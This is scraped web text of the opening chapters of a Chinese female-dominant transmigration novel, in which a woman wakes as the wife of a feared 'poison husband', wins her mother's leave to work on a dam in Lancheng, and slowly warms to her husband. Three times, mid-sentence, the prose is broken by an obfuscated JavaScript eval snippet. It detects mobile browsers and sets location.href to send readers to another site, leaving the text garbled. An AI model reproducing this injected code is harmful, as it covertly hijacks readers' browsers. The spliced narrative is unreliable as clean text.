《反派他明明是个贤夫(女尊)》 1. 穿成毒夫的妻主 临安三年,新岁刚过。 雪花仍簌簌的往下坠,压的沈府的屋檐似更低了些。 今岁秋闱榜上仍未有沈年,沈修撰面上已经许久不见有光彩了。 谁料年关刚过这位二世祖竟又惹出一桩丑事来,还差点被阎王索了命去,沈修撰发了场大脾气。 东院暖阁内日光映入帘内,女子的发髻松松散散的垂在肩上,脖颈还残留着淡淡的一圈伤痕,她捂着心口着支撑起身,后背的衣衫浸湿了一大块。 一盏热茶入口,五脏六腑都舒坦了不少。 女子起身下榻安坐,伸手去触铜镜中自己的面容,她仍不敢相信自己竟然穿进了一本女尊文里,成了里面恶毒反派的炮灰妻主沈年。 书中沈修撰为逼女儿沈年专心读书,将她关在城外的寺庙,不想沈年勾搭上一鳏夫,被她刚过门不久的夫郎林闻溪发觉,下药欲让沈年偏瘫回府,不料被一流窜的命犯捡漏,沈年被夺财害命。 成为鳏夫后林闻溪彻底扭曲黑化,他见不得人好过,对书中男主也就是沈年的庶弟沈岳屡下黑手,让男女主误会多年,之后更是亲手毒害数人,将沈林两府付之一炬。 可谓是实实在在的夺命毒夫。 现下她好死不死穿过来,不光日日要与这蛇蝎之人相对,夜里还要与他同睡一塌,叫她如何敢闭眼安睡。 一连三日吊着眼皮熬到天亮,等到林闻溪出门请安后她才敢合眼补补精神。 好容易屋子里有现在这般清净的时候,沈年眼珠一转,拉开妆奁将里面的珠宝金钗一件不落的塞入衣襟之中。 沈府就是个魔窟妖洞,里面没几个正常人,三十六计走为上。 按照剧情女主应在兰城,之后堤坝贪腐案发女主一家被牵连下狱,她要早一步去提点女主脱身日后好抱她大腿。 忽听见门外有人声,沈年心中一惊,手忙脚乱将妆奁推回原位。 “三娘醒了怎不唤我。” 林闻溪推门而入,温和的声线钻到沈年的耳朵却像刀子直往她心口扎,她蹙起眉头扭头将视线落在他身上。 那张脸一如书中所描述的棱角分明,但他的眉眼却是圆溜溜的,搭在他脸上不显违和居然分外端正,挑不出错来。 “今晨我同你说过,我已好了不用过来照料,你怎又来了。” “爹爹他不放心,再说三娘大病初愈,我怎好撒手不管呢。” 林闻溪端的一副贤夫孝婿的模样,说话间抬手拨开珠帘朝她走过来,取下外衫又来服侍她穿衣。 沈年自觉无福消受,“我自己来便好。” 二人指尖相触被沈年被他手上的温度冰了一下,下意识抬眼却与他四目相对,他眼中尽是夫妻柔情,弯嘴一笑。 沈年在心里翻了个白眼,真能装。 “还是我来吧。” 林闻溪握住她的手腕贴近她围过来,靠得太近沈年都沾到了他的一身冷气,她利落抽手微微后退偏过脑袋避他。 慢条斯理替她理好衣摆,林闻溪直起腰瞧见她的动作僵了一瞬,而后攀上她的肩温柔浅笑,“我炖了汤给你补身体,三娘尝尝。” 沈年闻言脸色一白,书中林闻溪为保自己在沈府的地位,不惜下药让沈年半身不遂,现下又能安什么好心。 这汤里估计又不知添了什么东西进去。 “我还有事,你自己留着喝吧。” 沈年甩袖欲走。 林闻溪扯住她胳膊:“三娘这是要去哪?” “出去走走。” “三娘的病刚好,外头还飘着雪,还是在屋里呆着吧,过些日子再出去。” 沈年被他缠的心烦,回呛他一句,“我都说我身子已经好了,你拦我究竟安的什么心。” 林闻溪闻言狐疑的盯了她一眼,面色一沉,“我自然是为三娘好,出去万一撞见母亲,又要生出事来。” 沈母为人最是迂腐古板,原主做出这种荒唐事,她估计脸都要被气歪了,不知又要怎么罚她呢。 前有狼后有虎,她是一日也不能在留了。 沈年使了力挣开,没想到林闻溪一下跌坐在地,不过她顾不得这些了,径直推门向外奔。 沈年一脚刚迈出院门,便被两位女使拦住去路,一瞧便知是沈修撰身边的人。 “主家吩咐了,若三娘子要出去需知会她一声。” 林闻溪紧跟着缓步而出,他双手合于身前,眼神幽幽的站在门前似料定了她会回来,活像一只吐着信子蓄势待发的毒蛇。 左右是躲不过的,她犟着脸向林闻溪挑眉一笑,“去便去。” 沈年总归是沈家唯一的女儿,沈修撰还能把她打死不成,而且沈修撰要的不就是沈家的前程吗? 她给她吃一颗定心丸就是。 毕竟她可是带着她的实习车间穿过来的。 林闻溪闻言捏紧了手心,睁圆了眼睛不可置信的看她。 两人引她到堂前,沈年趁走路的工夫,屏气凝神在空间内轻车熟路做出一把小钢锤,藏在袖口向屋里迈步。 扑面而来就是一股檀香味,屋内静的可怕,只有香炉中香料燃烧的声响。 沈修撰正端坐在案前,手中慢悠悠盘着一串玉珠,只簪了根银钗,一身青衣威压十足。 “母亲,女儿想出门。” 沈年微微低头试探开口。 “哦?要去哪啊?”沈修撰带着一种戏谑的语气问。 沈年听着心里发冷,说话的时候不免微微颤抖,“兰城。” “去那做什么?” “这一时半刻说不清楚。” “你说不清楚!呵呵!”沈母鄙夷冷笑。 “你说不清楚我替你说,你不过是惦记那庄上的鳏夫,着急与那贱人寻欢作乐吗?” 沈年为自己辩白:“我并非要去寻他,日后我再不会与他来往,母亲莫要想偏了。” “你当我不清楚你是何东西吗?你说的话有哪句是作数了的,我看我迟早要亡在你这逆子手中!” 眼见沈修撰是真的大动肝火,沈年扑通一声跪在地上言辞恳切,“女儿鬼门关里走了一遭是真心悔过,您慎言。” “悔过?你衣襟里藏着什么东西当真以为我不知道!若不是出去寻欢作乐何须私带出去?” 沈年一时惊诧,“是林闻溪说的?他何时来的?” “是我特意吩咐他看着你的,林家好歹也算清贵人家,他还有心收拢你把事情告诉我,已算是好的了。” 他是什么时候发现她衣服里藏了东西的,沈年愈想愈觉得林闻溪此人可怕,气愤反驳道:“他纯粹是想把我一辈子关在这里才对。” 沈修撰嗤笑一声,说话时带着一种悲凉的神情,“我从前只觉得你虽顽劣,却也不是无药可救,如今死里逃生依旧不知悔改,今日非得让你长点教训才是!” 沈修撰开口唤人取板子来用家法,便听到门响动。 林闻溪虽然尽力低垂着脑袋但脸上那道清晰的红掌印还是一眼可见,他扶着满脸是泪沈父走进来,随后不动声色站在她身旁。 “我们就这么一个女儿,她刚刚捡了一条命回来,你听信一个刚进门外婿的话对自己的女儿喊打喊杀,是要年儿的命不成!” 沈父爱子心切,此刻不顾仪容怒拍着桌子朝沈修撰哭喊。 “就这么一个,偏偏让你养的这么不成器,刚刚成亲就做出这般没有脸面的事来,闹的满城风雨林家都问到我的脸上了,我再不管教她恐沈家就成全京城的笑柄了。” 沈年见形势不妙从袖口取出小锤,三人瞧见她的动作霎时间噤声,林闻溪眼疾手快扑倒在她身上,“三娘这是要做什么?” “你们别误会。” 沈年忙摆手,把林闻溪一把从她身上推开跪好,将小锤托与掌心。 “请母亲过目,您可见过这种做工的铁器?” 沈修撰起身,“你这是何意?” “女儿自知不是读圣贤书的料,另给自己找了条出路。” 沈修撰将信将疑走过来一瞧,平整光滑的切面,还有锤柄上压的圈圈螺纹,虽造型简单,但做工倒是头一回见。 “这……真是出自你手?” 见沈修撰不信,沈年起身到案前扯来一张纸,提笔便画出一张轴承图纸递到她手中。 沈修撰捏着纸,眯着眼细看而后又转头看着沈年,脸色由阴转晴,“你有此才怎不早说。” 这话正中沈年下怀,她灵机一动,“还请母亲同意女儿赴兰城筑坝,好施展技艺,挣一份前程出来。” “兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334031|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城只是一小县,我倒可以为你安排别的……” “以女儿的名声,还是不必让母亲拉脸面去求别人提携了,女儿愿自己去闯一闯。” “难得你有这份志气,姑且便依你一回吧。” 身旁的林闻溪抬头欲说什么,被沈父一个眼刀恶狠狠瞪了回去,随机他又向沈年使眼色,“年儿,还不谢谢你母亲。” 沈年顿首:“谢母亲宽恕。” 一场大戏唱罢,几人从堂中出来沈父唤沈年去他院子里用午膳,她几番推脱不过只好硬着头皮跟着去。 进了屋沈父按着她坐下喝茶,十分殷切的嘘寒问暖,沈年疲于应付含含糊糊的回应。 她眼里一直都瞥见林闻溪已经半边红肿的脸,他自进门便一直在外间进进出出端着菜碟忙碌。 那巴掌应是她眼前慈眉善目的“爹爹”打的吧。 沈年瞧着着实有些别扭,但想着他刚刚向沈修撰泄密的事,又生不出怜悯来。 直到林闻溪进里间来唤,“父亲,菜已备好了。” 他一直低垂着脑袋,眼神躲闪,应是很不愿意别人看到他这副狼狈的样子。 “年儿应当饿了吧,快尝尝。” 沈父夹了块鱼肉放进她碗碟上。 沈年放在嘴巴里抿了抿,一桌子珍馐美馔她却实在没什么胃口。 因为林闻溪此刻正当着一众下人的面独自如同仆人一般站着替二人布菜。 虽然林闻溪实非善类,但如此欺压他或许他心中的恶念更会疯长。 她犹豫再三还是没忍住向林闻溪开口:“你……也坐下一起吃吧。” 林闻溪瞪大了眼睛,像是怀疑自己听错了。 沈父放下筷子,语气不悦,“伺候娘子用饭是做郎婿的本分,你管他作甚?” “沈家又不是什么皇亲侯爵哪有那么多规矩,而且他一直站着也不好看。” 沈父见状更不畅快了,剜了林闻溪一眼。 “你便是对他太客气了,刚才若不是我及时赶到你母亲那里,或许这会你早被打的半死不活了。” 书中确实写了林闻溪入府被沈父刁难立规矩,但只是寥寥几笔,不想二人关系恶劣到这种地步。 念及此,沈年没继续坚持。 沈父或许是见不得林闻溪好过的。 一顿饭吃的没滋没味,沈年想了个让林闻溪帮自己收拾行装的由头将人带了回去。 回屋沈年于心不忍递了块冰手绢给林闻溪。 “你为何?” 他视线停留在她的手上半晌艰涩开口问。 “什么为何?我父亲苛待你也是因为我,这些本来就不该你受的,我会想想办法的,你可别记恨我。” 他接过沈年手中的帕子贴在脸上冰凉凉的,他察觉的到沈年被从寺庙抬回来的这三日,比从前变了许多。 甚至此刻还有心惦记着他还未吃饭的事情。 “父亲有意不让我吃东西,我若去厨房传到父亲耳朵里,又是自讨苦吃罢了。” 林闻溪揭开早上带来的食盒,端出里面的汤,“我喝这个就好。” 沈年不相信这汤里没放东西,直到瞧见林闻溪真的端着碗往自己嘴巴里倒才过去把碗夺下。 “这都冷了,大冬天你不怕吃坏肚子。”沈年将那汤重新放回食盒提在手里,“算了,你在这里等着。” 没过多久她又提着回来,里面是一碟热气腾腾的辣椒炒肉片,还有两个白面馒头。 林闻溪一时被香味勾的也觉得肚子饿,“这是从哪里弄来的。” 沈年脱口而出:“我炒的啊。” 林闻溪着实好奇,“厨房一向是男人去的地方,三娘还会做菜?” 沈年慌张挠了挠脑门,编了个谎:“那庙里成日吃些青菜素粥,我吃不惯,只好就自己动手学着做了。” 林闻溪勉强信了,夹了一片肉入口,味道果然还不错。 沈年这样的纨绔浪荡之徒,今日不仅在沈父面前维护他,还亲自替他下厨,林闻溪心中没有一点波澜是假的。 但转念又想起沈年今日执意出门推他在地那副模样,让他那颗微热的心又很快冷却下来。 女人一时的垂怜根本是靠不住的,只有早日有个孩子才能真正让他依靠。 2. 与他一起受冻 入夜林闻溪早早沐浴焚香,卸了发冠只穿了件里衣,坐在塌上等着沈年来。 二人新婚之夜,沈年喝的烂醉,之后便整日去花天酒地,偶尔能碰的上面的时候也都是恶语相向,言语间尽是对这桩婚事不满。 既然沈年有意示好,今夜他要握住机会才好。 听到门外有动静,林闻溪又对着镜子检查了一遍自己的脸,掌印已经消散下去了,一切妥当。 “你今日这么早睡?” 沈年见林闻溪穿的单薄,不好进去停在外间问他。 林闻溪将声音放的很柔和,“已是亥时不早了,三娘今日忙了一天该歇着了。” 沈年坐在灯下,取出纸笔假装画图,“我还不累,你困的话先睡吧。” 林闻溪见她不来,主动下榻走过去搭她的肩:“三娘画什么,我陪着你。” 沈年不知他意欲何为,连呼吸都不匀了,胡乱画了几笔。 “睡吧。” 沈年起身直奔着塌上去,自顾自钻进被子里躺下,她随后听见林闻溪吹了蜡烛,躺在她旁边睡下了。 正打算再往边上挪一点,林闻溪突然伸手抱住她的腰,身体贴着她后背,头抵在她肩上轻声说:“三娘今日待我怎这般好。” 沈年像全身上下被电过一样,立马坐起来用力推开他。 林闻溪也没想到沈年会有这么大反应,被沈年推得瘫倒在床上,一脸无措的看着沈年。 “你…你做什么?”沈年喘着气说。 “只是跟三娘说说话而已。” “说话就说话,我又不是聋子,贴那么近做什么。” “我……”林闻溪想说些什么又咽了回去。 沈年风流成性,林闻溪不相信沈年不懂他的意思,此刻只觉得颜面尽失。 他蒙在被子里转身背对沈年躺下心下一阵悲苦。 沈年自是想不到这些,一心盘算着要尽快离开。 一夜未安眠,林闻溪天未亮便爬起来梳洗说是要去给沈父请安。 沈年揉着眉心醒神,“父亲他肯定未醒,你这么早去做什么。” 林闻溪语气寡淡:“在门前等着。” “要等多久?” 林闻溪:“半个时辰?我也不清楚。” 沈年知道这是沈父故意为之,“大冬天的在外面冻着,怪不得你每次回来身上都这么冷,这怎么行……” “我走了。” 沈年叫住林闻溪,“我和你一块去。” 寒风是往人骨头里扎的,林闻溪整个人缩成一团紧闭着眼睛硬抗着。 沈年冻的站都站不住脚,止不住发抖,她不知道林闻溪是怎么能日日忍受这般酷刑的。 终于等到屋门打开,里头的侍从见到沈年也在,忙将人迎进去端上一盏热茶。 沈父当真是疼爱他这个女儿,亲自拿来一薄被裹在她身上,满脸的关心。 “年儿,你今日怎么来了。” 沈年耳朵冻的发痒,捧着茶碗暖手,“女儿即将启程,便想向父亲请安来尽尽孝心。” “你怎不早说,可冻坏你了吧。” “确实冷,父亲,您日后别叫他这么早来了。” 沈年的嘴巴里一提起林闻溪,沈父脸色就变了,说话也明晃晃带着刺。 “女儿如今倒是一心向着新婿,向长辈请安是各府里都有的规矩,不过吃一点苦就学会在你面前告状了。” 林闻溪冤枉的很,分明是沈年自己非要跟来的,但沈父如今执掌着后宅,他只有卧薪尝胆等日后在算,此刻并不打算为自己辩驳。 “女儿才没空心疼他,只是人都说不孝有三,无后为大,万一把他身子冻坏了,谁给我们沈家传宗接代。” 林闻溪被沈年这直白的话呛的直咳,她这明明不是懂得,怎的昨夜自己主动贴上去她反倒装茸作哑。 “年儿样貌出挑,你母亲官居正三品,也并非偏偏指望他一人。” 沈年乖巧一笑,上前替沈父捶肩:“以女儿这样的声誉又功名无望,日后即便再娶也怕是没有门当户对的公子愿意跟我,为了沈家正房嫡出,您且长远计吧。” 沈年说的在理,沈父终究没再反驳,松了口叫林闻溪以后日头出了再过来。 “谢谢。” 林闻溪不是傻子,他瞧的出来沈年是在帮他,出了门跟在她身后犹豫向她道了一声谢。 沈年忙着去见沈父给她挑的随行女使,点头并未多言便出了院子。 来人是一个约摸十六七岁的小姑娘,样子煞是可爱。 “三娘子叫我小薇就好,主君吩咐我陪姑娘去兰城。” 沈年觉得人可爱摸了摸她的头,“日后相互照应。” 小薇一副受宠若惊的模样,“三娘子不必这么客气。” 总算熬到出发的日子,沈父和林闻溪在门口送她,沈年要上马车走的时候,沈父是千般的不舍,拉着沈年的衣袖一再嘱托。 相处了这些时日,沈年也不免动容,好不容易才动了身。 去兰城的路不远不近,两人走了十来天才到。 兰城虽没有京城繁华气派,但也算得上热闹,街上叫卖声此起彼伏,各种铺子,酒馆里头都人来人往的。 两人边走边逛终于到了住处,这地方听小薇说是她母亲在这临时外任置办的,没住多久就回京了,因为这院子不大,只有一个主屋和两个偏房,所以也就懒得派人打理,荒废在这里。 门前杂草丛生,掩住了半扇门,仔细看才发现门上有一个大窟窿,而且风一吹,就发出吱吱呀呀的声音。 从那个破洞看进去,里面也是野草横生,屋前的栏杆上也爬满了枯藤,破败不堪。 “三娘子,这院子还能住人吗?”小薇一脸绝望的说。 沈年也面露难色,不过再怎么说还算有个地方住,拍拍小薇的肩,安慰道:“这就是书里的陋室,可以修身养性。” “可我看着这跟野地也没什么差别。” “咱们稍微收拾收拾,还是能住的嘛,走吧。”沈年说完就故作坚定去推门,没想到刚碰到门,还没使力,门板就砰的一声直直倒在地上摔的四分五裂。 小薇生无可恋的盯着沈年僵直的背影问道:“三娘子还要住吗?” 话音刚落,沈年就火速拉着小薇头也不回的去街上找了个客栈住。 两人匆匆吃了点东西,坐在桌前面面相觑,全然没有了之前的兴奋。 “姑娘,出门时主人只给了我们些盘缠,咱们客栈也住不起几天了,这样下去可怎么办才好?”小薇满面愁容的说。 沈年打起精神说:“明日先前堤坝上报到,那院子咱们先大致收拾加固一下,之后在慢慢修缮吧。” 小薇也无可奈何的点点头。 第二日沈年和小薇拿了沈母写的书信去找了刘管事。刘管事拿过书信扫了一眼,又瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334032|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了瞥沈年,说道:“沈大人已经跟我打过招呼,说叫我不必客气,只管使唤你就是。” 沈年闻言乖巧的回道:“是,您吩咐就好,我一定好好干。” 刘管事指了指正在远处的一群人,她们各个肩上都扛着两大袋东西,正往另一个地方搬。“看见了没,去吧,她们干什么你就跟着干,晚上领工钱。”说罢就转身走了。 沈年带着小薇过去干起活来,虽说这里的女人耐力强,可一早上片刻不停,也把两人累的够呛。 一直到日中,两人才得以坐下休息片刻。 沈年就着水啃着馒头,一旁的小薇边吃边断断续续的说:“三娘子,我跟她们打听说干一天才给五十文钱,而且咱们哪还有力气收拾院子。” 沈年皱着眉头,想了想说:“反正也是按天算钱,咱俩干一天休息半日,饿不死就成,得抓紧把院子先弄好。” 沈年看着小薇,十分愧疚因为自己让她这么小就跟着自己受苦,又摸了摸她的头说:“是我连累你了。” 小薇急忙摇头说:“三娘子人好,跟着你不苦。” 之后的大半个月,两人就这样一日在河道做工,一日修整院子。 小薇时常被沈年不知从哪里掏出来的螺丝螺母,钢材铁板惊一大跳。 沈年只是笑而不语,埋头苦干,一点不像养尊处优的官家娘子。 终于将院子收拾的像个样子,两人搬进去的时候高兴的喝了一大壶酒。 有了住处,沈年没了后顾之忧,在心中盘算着如何接近女主罗从宛。 兰城不大,一打听便知罗家住在何处,为了不显刻意,沈年大费周章的策划了一场巧遇。 春闱将近,罗从宛关在家中苦读,唯有买书的时候才出门一趟,沈年瞅准时机和她在书铺门口撞了个满怀。 沈年得逞暗地偷笑将罗从宛扶了起来,“抱歉,娘子无事吧。” 罗从宛虽不爽的瞥她一眼,但并未与她计较,拍拍身上的灰欲走。 沈年假装热情寒暄:“你是罗家娘子吧,真是有缘。” “你是?” “家母沈运儒与罗大人是同窗是旧识,母亲还叫我去拜访,一直忙着未曾来得及去。” 虽然沈修撰叫她来拜访是沈年胡诌的,但二人曾为同窗之事可不假,所以沈年搭这个讪并不心虚。 既是母亲同僚好意拜访,罗从宛没有不迎的道理,顺着沈年的话头请她去罗府坐坐。 沈年自然乐得去,罗府院落不大,沈年被罗从宛带到正厅喝了一杯清茶,随后罗从宛引着母亲来见她。 罗督丞对沈年为人有所耳闻,但考虑着沈修撰的名头,才勉强前来一见。 沈年彬彬有礼,罗大人也不吝多问了几句。 沈年直言自己现在堤坝上当工,罗督丞人以为沈年是来求她照拂的,面色又冷淡下来。 沈年察言观色并未久留,离案发还有些时日,她并不急于这着一时。 修坝需凿山挖石,来往搬运,沈年日日瞧着劳工们肩挑背抗又苦又费力,白天在沙地上琢磨着图纸,晚上在空间里加工铁锹,运石车轮这些简单工具第二日带去现场。 沈年制的用具轻便耐用,河道上消息传的很快,罗督丞也有所耳闻,沈年再来府里寻罗从宛的时候罗府中下人也不推三阻四的了。 一切进展顺利,就在沈年以为她的日子要好起来的时候,一封信打破了她的美梦。 3. 毒夫的追随 沈父少了苛责,沈年又不在府中无需他照顾,林闻溪的日子原本很畅快。 后来他越想越觉得不对劲,照沈母的意思,是不打算很快让沈年回来的。 沈年那种浪荡的性子,肯定耐不住寂寞在外面养男人,等沈年回来的时候,说不定两人连孩子都有了。 林闻溪越想越觉得不好,可他一个男人不方便独自出远门,而且沈母也不会同意自己过去,心里虽然着急也只能先按捺下来。 大约半月后听沈父说刘管事给沈母写了信过来,说沈年在兰城做事踏实,人也规矩。 林闻溪才略微放心下来,知道他的家姐有公事要路过兰城后,林闻溪就急忙跟沈父说了自己想顺路过去照顾沈年。 沈父心里记挂沈年自然乐意林闻溪跟去照顾起居,沈母也因为沈年在兰城小有所成,也没多说什么。 林闻溪便写了书信过去。 沈年托着脸,将信团成一团捏在手心,想着林闻溪实在是头疼的很。 她回信让林闻溪呆在府中,不要过来,没想到信刚寄出去两三日林闻溪就到了。 沈年和小薇傍晚回家的时候,门口停着一辆马车,进院中一看林闻溪的行李都已经搬好了。 林闻溪站在院中,看见沈年走近她身边,脸上带着笑说:“三娘怎么这么晚才回来。” 说罢就凑上来,揽上沈年的胳膊关切的说:“肯定累坏了吧。” 沈年被林闻溪这亲昵的动作弄得僵在原地,干笑了两声,慌忙的说:“不累,不累。” 进屋后,沈年在榻上如坐针毡。 “三娘看什么呢?” “没什么,对了,你怎么来一趟带这么多东西过来。” “要在这住些时日,自然多带了点。” 沈年在这里分不出心力来提防林闻溪,“这里比不上京城,只够温饱,你不必在这跟着我受苦。” “我自己带了银钱来,况且你我成亲不久,总是分隔两地也不好。” 他们二人终归是拜过天地的夫妻,只要她和林闻溪婚姻不散,就没办法彻底甩脱他。 林闻溪见沈年在那里发愣,才发觉她消瘦许多,有意体贴她:“三娘想来饿了,我做了饭菜。” “我已经吃过了,你自己吃吧。” 沈年并不喜他来这里,林闻溪极善看人眼色,知趣的出门。 小薇正在院中,林闻溪招手将她唤过来。 “少君,您有何吩咐?” “没什么事,我就是想问问你,三娘来这有一段日子了,可有遇到什么人?” 小薇没什么心眼,全数实话实说,“三娘子每日都在河道上早出晚归,除了一同做工的,还有罗娘子没认识什么人。” 林闻溪微笑着说:“三娘她可有认识什么男子?你放心对我说实话,就是想对三娘的事心里有个底,免得出了什么事难以应对,不会做什么的。” “少君,确实没有。” “我知道了,我问你的事情不要同三娘讲,不然她怕是又觉得我多事。” “小薇明白。” 林闻溪和颜悦色道:“那你去忙你的吧。” 他自是不信小薇所言,若真无事沈年为何不乐意他来,他准备入夜后再试探一番。 林闻溪在屋子里点起香炉,空气中丝丝花香似缠绕着两人,多了分暧昧。 林闻溪注意到沈年频频抬头偷看他,搬了凳子坐到沈年近侧,为她修剪灯烛,眼神却一直不偏不倚落在她身上。 沈年再不懂林闻溪的意图,她就是个呆子了。 可书中林闻溪对沈年并无情意,此般行径无非又是为自己铺路,想着父凭女贵罢了。 不如她掌握主动权,先暂且把林闻溪稳住。 她放下笔,握着林闻溪的后颈将他拉到身前,在他侧脸上飞速亲了一下。 林闻溪的脸登时红一路红到了脖子上,一双眼睛怔怔的望着沈年。 沈年也慌张将人松开,故作镇定道:“我明白你的意思,但现在我们不适合有孩子。” “为......为何?” “在这里我没功夫照顾你,而且你成天在外面冻着,还没调养有了孩子也是遭罪。” 林闻溪结结巴巴的回答:“这......我可以照顾自己,我的身子也......” 沈年:“嗯?” 书里后半段林闻溪几乎一直在灌药,他的身体似乎一直以来都并不好。 林闻溪没继续嘴硬,局促的捏着手指。 沈年伸手摸他的脑袋安抚,“好了,此事先搁一搁,我还有好多事要忙,你先去休息。” 林闻溪这会像只听话的兔子,乖乖钻进被窝里躺下睡了。 次日晨起为沈年煮粥的时候,他才似醒转过来。 女人的甜言蜜语就如同水底的月亮,一碰就碎,是信不得的,更何况是沈年这样浪迹花丛的女人。 且家家户户都盼着早生贵女,怎得沈年会如此替他考虑,不想要孩子。 必定有鬼。 他端着粥碗放到桌上,唤沈年醒来。 等着沈年出门后,林闻溪就锁好了门,远远地一路跟着沈年。 从家里去河道的路程,对沈年她们来说还不算太远,可以一路走着,不用歇息。 对林闻溪来说就有些吃力,走到半路,沈年的脚程还没慢下来,他就有些累了,只能勉强跟上。而且他还只敢远远地跟着,好几次差点跟丢了。 好不容易到了地方,他躲在树荫下看了许久,也只是见沈年来来回回的搬东西,一点都没偷懒。 这更让林闻溪想不通,沈年怎么突然变得这么勤快。 一直到下午看见沈年进了旁边的棚子歇息,才又累又饿的走了一路回去。匆匆吃了饭,没歇一会,又忙着收拾屋子和准备晚饭的事情。 接连三日,都是这样,不但没发现什么端倪,倒是把自己累的够呛。 入夜沈年洗漱完回屋,就看见林闻溪倚在桌上睡着了。 “怎么不到塌上睡?”沈年过去轻轻推了一下林闻溪说。 林闻溪醒过来,还有点懵:“我得等着三娘。” 沈年看着林闻溪一脸困倦的样子,“我看你这两天老是很累的样子,不是心里又琢磨什么主意呢?” 林闻溪对沈年的关心有些心虚,说:“没有,可能是刚来这里有些不适应,过几天就好了。” 沈年叹了口气:“以后用不着等我,你累了就早点歇着。” 两人都乏的很,双双沾床就合眼睡过去。 林闻溪习惯了早起,睁开眼时,沈年还窝在他旁边睡的很熟。 天还未亮,林闻溪犯了懒偏过头看着沈年,又想起那夜沈年亲他的事情,又是一阵心烦意乱,蒙上被子又强迫自己睡过去。 再醒来时塌上已不见沈年的踪影。他急急忙忙起来穿好衣服,出门时看见小薇竟然在院里。” “怎么今日没陪着三娘同去?” “三娘子说,休息一日,她要去街上逛逛,刚走没一会呢。” 林闻溪心说沈年终于忍不住了,火急火燎的追出去说他出去寻沈年一同逛逛。 出门走了没一会,就看见沈年正在一家点心铺前和旁边的人说些什么,之后便进了铺子,再出来时,手上提着好几盒东西。 林闻溪知道沈年素来不爱吃这些东西,一定是给她哪个相好买的,心里暗喜,自己这么多天总算有所收获了。 他探头出去,想看看沈年接下来往哪去,可沈年却一回头,两人一下子隔着稀稀疏疏的人群四目相对。 林闻溪看着沈年一步步朝他走过来,虽然有一种做坏事被抓包的感觉,也只能故作镇定的迎上去。 沈年走过来问:“你怎么也在这?” “我刚来这也想四处看看,所以就出来寻三娘。” 沈年将手里的东西递给他,“那我带你走走,这个你趁热吃吧,” “给我买的?”林闻溪诧异的问。 “不然还能给谁?” “这,我还以为是…” “是什么?” “没什么,那谢谢三娘了。” 林闻溪为了不让沈年怀疑一路上都装作兴致盎然的样子,让沈年也以为林闻溪喜欢在外面逛,就带着林闻溪走街串巷几乎逛了大半个兰城。 林闻溪前几日来回跟着沈年腿已经很酸了,今日又走了不知道多少路,回到家里时他感觉整条腿就和断了一样。 他趁沈年出去,偷偷坐在塌上揉腿,真真明白了什么叫做偷鸡不成蚀把米。 心想难不成沈年真是转了性。 半夜落了雨,一下雨林闻溪的腿就容易不舒服,又加上今天走了许久的路,让他更感觉酸痛无比,身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334033|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一层层冷汗。 沈年被雨声吵醒,感觉到一旁的林闻溪不大对劲。醒了醒神,摸黑碰了碰林闻溪,感觉他在发抖,爬起来问:“你这是怎么了?” “我的腿好疼…”沈年听见林闻溪断断续续着说。 “你等等,我先去把灯点上。” 沈年跳下床,手忙脚乱的点上床边的灯。才看见林闻溪全身蜷缩在一起,汗涔涔的。 沈年伏在床边帮林闻溪擦了擦汗,然后抓着他的手说:“你等着我去给你找大夫来。” 林闻溪攥紧沈年的手,声音微弱的说:“大半夜的还下着雨你去哪里找大夫?这是旧疾,忍忍就过去了。” 沈年将他的腿用被子裹好,然后跑出去打水在空间里烧热,端进屋里帮他卷起裤腿热敷膝盖。 “这样能不能舒服点。” 林闻溪感觉好了些,朝沈年点头。 到了后半夜林闻溪才迷迷糊糊的睡过去。睁眼的时候发觉沈年抱着他,靠的很近,额头抵在他侧脸上,埋着头像只猫一样。 他来了这几日,沈年睡觉总是自己靠在一边,离得他远远的,昨夜应该是怕他又难受,才抱着他睡的。 林闻溪心下一软,本想给沈年掖好被角,却不小心碰到她的脸。 沈年一瞬起身坐起来,说:“昨晚疼成那样怎么不早叫我,好点没。” “以前的毛病了,所以想着忍忍就过去了,已经好多了。” 沈年看见林闻溪脸上还是没什么血色,搀着他的胳膊,把他扶起来,又下塌倒了碗温水给他。 沈年熬了一晚上实在头疼,掐了掐眉心,“一会我找大夫来给你瞧瞧,总这样怎么能行。” 林闻溪瞧见她的动作,语气带着愧疚:“我这是腿疾,不方便叫人看,之前有一位云游的医师,有他给我开的方子,抓了药煮来泡泡就好些了。” “这也看不得那也看不得,你们这怎么这么多忌讳。” 林闻溪拉了拉沈年的衣袖,弱弱唤她:“三娘……” “好好好,你方子放哪了,我去给你抓药。” 沈年去了药铺,抓了药,临走时大夫问了问:“这药是给谁用的?” 